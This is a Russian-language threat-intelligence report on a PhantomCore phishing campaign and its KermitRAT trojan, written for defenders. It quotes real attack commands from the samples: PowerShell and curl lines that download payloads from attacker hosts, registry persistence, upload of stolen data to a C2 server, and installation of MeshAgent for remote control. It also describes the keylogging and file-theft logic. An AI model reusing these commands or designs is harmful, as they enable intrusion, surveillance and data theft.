«Ждите гостей»: новые инструменты и тактики PhantomCore в атаках на российские компании

от автора

Киберпреступная группа PhantomCore – одна из главных угроз для российских и белорусских компаний. Впервые специалисты F6 обнаружили её в 2024 году, а позднее выяснили, что самые ранние атаки группировка провела в 2022 году. Одна из главных особенностей эволюции PhantomCore – её постоянная изменчивость: эта АРТ-группа быстро приспосабливается к новым условиям, оперативно меняет инструменты и изобретает нестандартные способы доставки ВПО до атакуемых организаций.

В 2022 году главной целью злоумышленников были кража, повреждение и уничтожение данных. В 2024 году они переключились на шифрование инфраструктур атакованных компаний и получение финансовой выгоды.

Отличительная черта PhantomCore – использование вредоносного программного обеспечения (ВПО) собственной разработки. Причём, судя по количеству таких самописных программ, а также по количеству атак на российские и белорусские компании, команда разработчиков этой киберпреступной группы постоянно ищет новые решения, совершенствует свои инструменты и внимательно следит за новыми уязвимостями.

Одна из таких собственных разработок PhantomCore – троян удаленного доступа KermitRAT, получивший название по причине использования аналогичных подстрок в именах файлов, используемых программой. Это новое ВПО от PhantomCore, которое впервые выявили специалисты F6 в начале апреля 2026 года. Функциональные возможности KermitRAT:

  • использование различных способов выполнения команд на зараженной системе (скрытый; выполнение PowerShell/cmd; с записью результата в файл и последующей его выгрузкой);

  • создание и эксфильтрация снимков экрана;

  • хищение файлов по полученному от сервера шаблону;

  • определение и перехват нажатия клавиш жертвой с дальнейшей их записью и эксфильтрации на сервер;

  • сбор подробной информации о зараженной системе, включая сетевую инфраструктуру, сведения о логических дисках, количество пользователей, информацию о процессах и сервисах, наличие антивирусного ПО, установленном ПО и так далее.

В этом блоге на примере новой атаки PhantomCore на российскую компанию покажем, как группировка продолжает развивать свои инструменты и тактики, внедрять новое программное обеспечение и расширять спектр используемых технологий, включая AI-решения, для повышения эффективности атак.

Призрак идёт в наступление

8 апреля 2026 года мы столкнулись с очередной атакой группировки: система F6 Managed XDR перехватила и заблокировала фишинговую рассылку, направленную в адрес российской промышленной компании.

Фишинговые письма с темой «О рабочем визите делегации КНДР в апреле 2026» были направлены с электронного почтового ящика «el.medvedkova@ministerstvo-inostrannykh-del[.]ru» (домен зарегистрирован 30 марта 2026 года) на различные адреса целевой компании.

Изображение 1 — Фишинговое письмо от 8 апреля 2026 года

Изображение 1 — Фишинговое письмо от 8 апреля 2026 года

Письма содержали в себе следующие вложенные файлы:

Изображение 2 — PDF-приманка 01-20363.pdf из рассылки от 8 апреля 2026 года

Изображение 2 — PDF-приманка 01-20363.pdf из рассылки от 8 апреля 2026 года

Файл KNDR (1).zip содержит в себе следующие файлы:

  • KNDR.hta — вредоносный HTA-файл с атрибутами скрытого файла;

  • KNDR.lnk – ярлык, основным назначением которого является запуска файла KNDR.hta.

Техническое исследование

Функциональные возможности HTA-файла

Файл KNDR.hta содержит в своей разметке тег script, внутри которого расположен VBS-сценарий, выполняемый после запуска файла.

Изображение 3 – Cодержимое файла KNDR.hta

Изображение 3 – Cодержимое файла KNDR.hta

В результате исполнения данного сценария на устройство жертвы будут загружены дополнительные PowerShell-сценарии, которые будут закреплены с помощью ключа реестра, после чего будет выполнен их запуск.

Последовательность исполнения VBS-сценария:

1. Минимизирует отображаемое окно для сокрытия исполнения.

2. Выполняет загрузку и запуск отвлекающего PDF-документа с помощью powershell-команды:

powershell -w h -c "(New-Object Net.WebClient).DownloadFile('hxxps://realty-visual[.]ru/jk_strana_ozernaya/KNDR_2026.pdf','KNDR.pdf');start 'KNDR.pdf'"

PDF-документ загружается с удаленного сервера по ссылке hxxps://realty-visual[.]ru/jk_strana_ozernaya/KNDR_2026.pdf и сохраняется в файл с именем KNDR.pdf в текущей директории.

Изображение 4 — PDF-приманка KNDR.pdf из рассылки от 8 апреля 2026 года

Изображение 4 — PDF-приманка KNDR.pdf из рассылки от 8 апреля 2026 года

3. Создает Powershell-сценарий по файловому пути C:\temp\2copipast_spisok.ps1 и записывает в него команду:

$Target='C:\temp\4gotovii_spisok_sotrudnikov_dlya_posejenia_meropriyatia.ps1';$Url='https://realty-visual.ru/jk_strana_ozernaya/4gotovii_spisok_sotrudnikov_dlya_posejenia_meropriyatia.txt';try{iwr $Url -OutFile $Target}catch{}

4. Создает Powershell-сценарий по файловому пути C:\temp\3task_spisok.ps1 и записывает в него команду:

$Target='C:\temp\5fulltext_spisok_sotrudnikov_dlya_posejenia_meropriyatia.ps1';$Url='https://realty-visual.ru/jk_strana_ozernaya/5fulltext_spisok_sotrudnikov_dlya_posejenia_meropriyatia.txt';try{iwr $Url -OutFile $Target}catch{}

5. Создает Batch-сценарий по файловому пути C:\temp\1spisok_sotrudnikov.bat и записывает в него комaнды:

@echo offpowershell -w h -nop -ep bypass -f "C:\temp\2copipast_spisok.ps1"powershell -w h -nop -ep bypass -f "C:\temp\3task_spisok.ps1"

6. Создает Batch-сценарий по файловому пути C:\temp\6polnii_spisok_sotrudnikov_dlya_posejenia_meropriyatia.bat и записывает в него комaнды:

@echo offpowershell -w h -nop -ep bypass -f "C:\temp\4gotovii_spisok_sotrudnikov_dlya_posejenia_meropriyatia.ps1"powershell -w h -nop -ep bypass -f "C:\temp\5fulltext_spisok_sotrudnikov_dlya_posejenia_meropriyatia.ps1"

7. C целью закрепления в системе создает запись реестра по пути HKCU\Software\Microsoft\Windows\CurrentVersion\Run\WindowsUpdateRoutine со значением cmd /c «C:\temp\6polnii_spisok_sotrudnikov_dlya_posejenia_meropriyatia.bat».

8. Запускает файл C:\temp\1spisok_sotrudnikov.bat.

9. Циклически проверяет наличие файлов 4gotovii_spisok_sotrudnikov_dlya_posejenia_meropriyatia.ps1 и 5fulltext_spisok_sotrudnikov_dlya_posejenia_meropriyatia.ps1, в случае их отсутствия выполняет Sleep.

10. Запускает файл C:\temp\6polnii_spisok_sotrudnikov_dlya_posejenia_meropriyatia.bat.

11. Удаляет начальный LNK-файл путем выполнения команды: cmd /c timeout /t 3 /nobreak && del /f /q /a «{lnk_filepath}».

Функциональные возможности файла 5fulltext_spisok_sotrudnikov_dlya_posejenia_meropriyatia.ps1

Изображение 5 — Содержимое файла 5fulltext_spisok_sotrudnikov_dlya_posejenia_meropriyatia.ps1

Изображение 5 — Содержимое файла 5fulltext_spisok_sotrudnikov_dlya_posejenia_meropriyatia.ps1

Данный PowerShell-сценарий выполняет проверку наличия ключа реестра WindowsUpdateRoutine в ветке HKCU:\Software\Microsoft\Windows\CurrentVersion\Run. В случае если ключ не существует, добавляет его с значением cmd.exe /c «C:\temp\6polnii_spisok_sotrudnikov_dlya_posejenia_meropriyatia.bat».

Функциональные возможности файла 4gotovii_spisok_sotrudnikov_dlya_posejenia_meropriyatia.ps1

Данный PowerShell-сценарий – вредоносное ПО, классифицированное как троян удаленного доступа и получившее название KermitRAT.

После запуска выполняет инициализацию необходимых файлов и директорий:

  1. проверяет наличие директории C:\temp\, в случае отсутствия, создает ее;

  2. проверяет наличие файла C:\temp\kermit_cache.json, в случае отсутствия создает его со значением «{}»;

  3. проверяет наличие файла C:\temp\.kermit_id, в случае отсутствия создает его и записывает в него строку шаблона {computername}-[0-9]{4} (далее сгенерированная строка именуется как {victim_id}).

Далее в бесконечном цикле выполняет следующие действия:

1. Собирает JSON-файл, который содержит информацию о локальных дисках системы, флаг включенного модуля кейлоггера и флаг, указывающий, будет ли отправлен HTML-файл с информацией о системе. Шаблон:

{ "update_audit": false, "kl_enabled": true, "drives": "{drives_info}"}

{drives_info} — содержит строку с информацией о диске вида {drive_id}: {used_space}/{full_space}GB и разделителем » | » между записями о разных дисках.

2. Выполняет отправку данного JSON-объекта путем выполнения POST-запроса к URL-ссылке hxxp://94.183.183[.]69:3000/ping/{victim_id}. В качестве ответа на данный запрос ВПО ожидает JSON-объекта с полем poll_interval, значение которого определяет простой между циклами. Пример JSON-объектов, которые мы получали от сервера в ходе анализа:

{  "ok":true,  "poll_interval":20}

Обработка команд

Далее выполняется GET-запрос к URL-ссылке hxxp://94.183.183[.]69:3000/tasks/{victim_id} для получения команд от сервера. В качестве ответа от сервера ожидается список команд, которые должны быть получены в виде JSON-объектов шаблона:

{  "id": "{task_id}",  "command": "{command}"}

По результату обработки команд выполняется POST-запрос к URL-ссылке hxxp://94.183.183[.]69:3000/tasks/{task_id} с передачей JSON-объекта, содержащего статус выполнения команды и ее результат по следующему шаблону:

{  "status": "completed",  "result": "{command_result}"}

Описание команд

Определение команды выполняется ВПО через парсинг регулярного выражения. Ниже представлены описанияе команд, где вместо наименования команды будут указываться исходные регулярные выражения, в которых выполняется определение команды.

«^screen$» — создает скриншот экрана и сохраняет его в файл C:\temp\s.png, после чего выполняет многокомпонентный POST-запрос к URL-ссылке hxxp://94.183.183[.]69:3000/proxy/photo с передачей формы с содержанием изображения и указанием имени файла по шаблону {computername}_s.png. После передачи, изображение будет удалено с зараженного устройства.

«^full_info$» — собирает подробную информацию о системе в html-файл по файловому пути C:\temp\Audit.html. Данный файл содержит следующую информацию:

  • название ОС;

  • дата и время последней загрузки ОС в формате «{days}d {hours}h {minutes}m»;

  • внутренние и внешний IP-адреса;

  • имя пользователя и флаг, является ли текущий пользователь администратором ОС;

  • информация о логических дисках системы с информацией об имени и типе диска, его размере и используемой памяти, именами первых 20 файлов/директорий внутри диска с указанием размера файлов;

  • информация о текущих первых 20 сетевых соединениях, с указанием IP-адресов и портов, а также имен процессов, к которым относится соединение;

  • информация о наличии антивирусного ПО с перечислением списка их наименований;

  • статус включения битлокера для диска «C:»;

  • информация о пользователях ОС с информацией об имени, статусе активности, описании и последней авторизации;

  • информация о пользователях из группы администраторов ОС с указанием их имени;

  • информация о первых 15 процессах с сортировкой их по потреблению CPU, с перечислением имени процесса, идентификатора, потребляемом CPU и занимаемом пространстве ОЗУ;

  • информация о запущенных первых 30 сервисах с указанием имени и типе запуска;

  • информация об установленном ПО с указанием отображаемого имени, версии и издателе ПО. Список будет получен путем перечисления ключей из веток реестра:

    • HKLM:\Software\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall;

    • HKLM:\Software\Microsoft\Windows\CurrentVersion\Uninstall;

    • HKCU:\Software\Microsoft\Windows\CurrentVersion\Uninstall;

Также в контексте выполнения данной команды, будет получен список команд, которые установлены в автозапуск системы, и последние 15 записей в логе событий системы с ошибками, но эти данные не обрабатываются далее и не будут отправлены на сервер.

После того как данные собраны, ВПО выполняет их отправку на сервер путем выполнения многокомпонентного POST-запроса к URL-ссылке hxxp://94.183.183[.]69:3000/proxy/photo с указанием формы, в которой имя файла будет указано по шаблону Audit_{computername}.html. После того как файл был отправлен, удаляет его из системы, а также выполняет POST-запрос к URL-ссылке hxxp://94.183.183[.]69:3000/ping/{victim_id} с указанием в теле файла JSON-объекта:

{  "update_audit": True}

«^run_backup$» — данная команда используется для эксфильтрации файлов по заданным параметрам.

Выполняет GET-запрос к URL-ссылке hxxp://94.183.183[.]69:3000/config/{victim_id}. От сервера ожидается конфигурация для выполнения эксфильтрации файлов в формате JSON:

{  "active": "",  "paths": "",  "extensions": "",  "max_size_mb": "",  "ftp": {    "host": "",    "user": "",    "pass": ""  }  }

Далее ВПО проверяет значение флага active и, если он установлен в значении True, продолжает работу.

ВПО проверяет наличие файла C:\temp\kermit_cache.json и, если файл существует, читает данные из него. Далее выполняет обход директорий из полученного списка путей в конфигурации (параметр «paths») и получает файлы с расширениями, которые указаны в параметре «extensions». Если хеш-сумма MD5 данного файла отличается от той, которая указана в локальном файле C:\temp\kermit_cache.json, и если размер данного файла не превышает указанный в параметре «max_size_mb», то добавляет его в список на выгрузку на сервер.

После того как файлы собраны, выполняется их последовательная выгрузка на сервер, адрес и данные аутентификации для которого указаны в объекте «ftp». Файлы отправляются поочередно частями с общим размером, не превышающим значение из параметра «max_size_mb». Каждый архив, отправляемый на сервер, будет записан в директорию C:\temp\Kermit_Vault с именем {victim_id}_part{counter}.zip.

Для отправки на сервер используется ссылка шаблона ftp://{ftp_host}/{victim_id}_part{counter}.zip. После отправки, обновляется файл, содержащий локальную информацию о файлах (C:\temp\kermit_cache.json), и выполняется его отправка на сервер путем POST-запроса через утилиту curl к URL-ссылке hxxp://94.183.183[.]69:3000/upload_cache/{victim_id}.

Выполняемая команда:

curl.exe -s --max-time 30 -X POST "$ServerUrl/upload_cache/$pcHash" -F "file=@$absPath"

После проведения указанных действий ВПО удаляет директорию C:\temp\Kermit_Vault.

«^get_cache$» — выполняет отправку файла C:\temp\kermit_cache.json аналогично тому, как эта логика выполняется в команде run_backup.

«^clear_cache$» — удаляет файл C:\temp\kermit_cache.json.

«^start_kl$» — включает модуль кейлоггера.

«^stop_kl$» — выключает модуль кейлоггера.

«exec_cmd:(.*)» — запускает команду cmd.exe /c {command} 2>&1 | Out-String, где {command} — полученная от сервера cmd-команда.

«exec_ps:(.*)» — запускает PowerShell-команду Invoke-Expression {command} 2>&1 | Out-String, где {command} — полученная от сервера PowerShell-команда.

«exec_hidden:(.*)» — запускает cmd-команду в скрытом режиме;

«exec_out:(.*)» — выполняет cmd-команду с записью результата ее выполнения в файл, расположенный по пути C:\temp\kermit_execution.txt. Формат записи в файл:

--- Execution Log ---Time: {time}PC: {computername}Command: {command}-------------------------{command_result}

После чего отправляет файл на сервер путем выполнения многокомпонентного POST-запроса к URL-ссылке hxxp://94.183.183[.]69:3000/proxy/photo с именем Result_{computername}.txt. После отправки удаляет локальный файл.

Модуль кейлогера

Если в ВПО включен модуль кейлоггера, его запуск происходит после выполнения команд в каждом цикле.

В данном модуле перед выполнением считывания нажатий на клавиши выполняется проверка наличия файла C:\temp\key_log.txt, последней даты загрузки данного файла на сервер и размер этого файла. Если размер файла больше 100KB или время последней загрузки файлов превышает 60 минут, выполняется выгрузка файла на сервер через запрос к URL-ссылке hxxp://94.183.183[.]69:3000/proxy/photo с именем файла Keys_{computername}.txt.

Для отслеживания нажатий клавиш модулем используется загруженная функция GetAsyncKeyState, которая определяет состояние ключа. Проверка осуществляется в цикле, который выполняется в количестве {poll_interval} * 25 раз.

В контексте чего изначально отслеживается нажатие клавиш Ctrl + C (выполнение операции копирования). В случае успешного отслеживания выполняется сбор информации из буфера обмена и запись в файл в формате [HH:mm] CLIP: {clipboard}. Далее отслеживаются клавиши со значениями от 8 до 190 (https://learn.microsoft.com/ru—ru/windows/win32/inputdev/virtual—key—codes), которые записываются в одну переменную — а та, в свою очередь, будет записана в файл только после нажатия клавиши Enter. В случае успешного отслеживания определяется клавиша и проверяется ее значение:

  1. В случае клавиши Space в общую строку будет добавлен символ » «.

  2. В случае клавиши Back из общей строки будет убран последний добавленный символ.

  3. Если символ в диапазоне между ключами под номером 48-57 (0 — 9), данный символ будет добавлен с удалением символа «D».

  4. В случае клавиши Enter ранее собранная общая строка символов будет добавлена в файл логирования с шаблоном [HH:mm] {sentence}.

  5. В случае если написанный символ не подходит условиям выше, он добавлен к общей строке с приведением к нижнему регистру.

Примечания

Стоит отметить, что в ходе работы сценария также отслеживаются ошибки, произошедшие в процессе исполнения, и записываются в файл C:\temp\script_debug.log, однако данный файл не выгружается на сервер и хранится только локально.

Также в файле были обнаружены комментарии, у которых были неправильно приведены кодировки. Данные комментарии в коде были написаны на украинском языке (Код файлу).

Изображение 6 — комментарии к коду

Изображение 6 — комментарии к коду
Изображение 7 — Декодированная версия комментариев к коду

Изображение 7 — Декодированная версия комментариев к коду

Полученные команды

В ходе нашего исследования были получены следующие команды:

  • screen

  • get_cache

  • exec_out:dir «C:\temp\»

  • exec_out:dir «C:\system\»

  • exec_out:powershell -Command «New-Item -Path ‘C:\temp’ -ItemType Directory -Force; curl.exe -k ‘hxxps://46.37.123[.]16/meshagents?id=4&meshid=uJia5ckVj3pSb0ry58vVE2uT6astBjasHAFCsDfTKIVaWFtfgtIGT@vmEE267V5G&installflags=0’ -o C:\temp\meshagent64-Voenmeh.exe»

  • exec_out:»C:\temp\meshagent64-Voenmeh.exe» connect

MeshAgent

Указанный в данных командах файл с именем meshagent64-Voenmeh.exe, классифицирован как MeshAgent со следующей конфигурацией:

MeshName=VoenmehMeshType=2MeshID=0xB8989AE5C9158F7A526F4AF2E7CBD5136B93E9AB2D0636AC1C0142B037D328855A585B5F82D2064FEBE6104DBAED5E46 ServerID=73F5F6673884255E8F57DA13FEE0365E02B8B8E2D29A36F21C896AA32B6271AD77D94F1691F564F22B76010CEC1DAA5E MeshServer=wss://46.37.123[.]16:443/agent.ashx

MeshAgent – агент удалённого мониторинга и управления (RMM) из проекта MeshCentral. После установки на компьютер он устанавливает соединение с сервером MeshCentral и предоставляет полный доступ к устройству: удалённый рабочий стол, управление файлами, выполнение команд, мониторинг состояния и установка ПО.

В ходе исследования найдены варианты загрузки данного файла в директории system и temp, также в одной из команд создавалась директория Doc, однако, несмотря на это, загрузка выполнялась в директории temp.

Подробности исследования сетевой инфраструктуры атакующих и атрибуции, индикаторы компрометации — в новом блоге на сайте F6.

ссылка на оригинал статьи https://habr.com/ru/articles/1024486/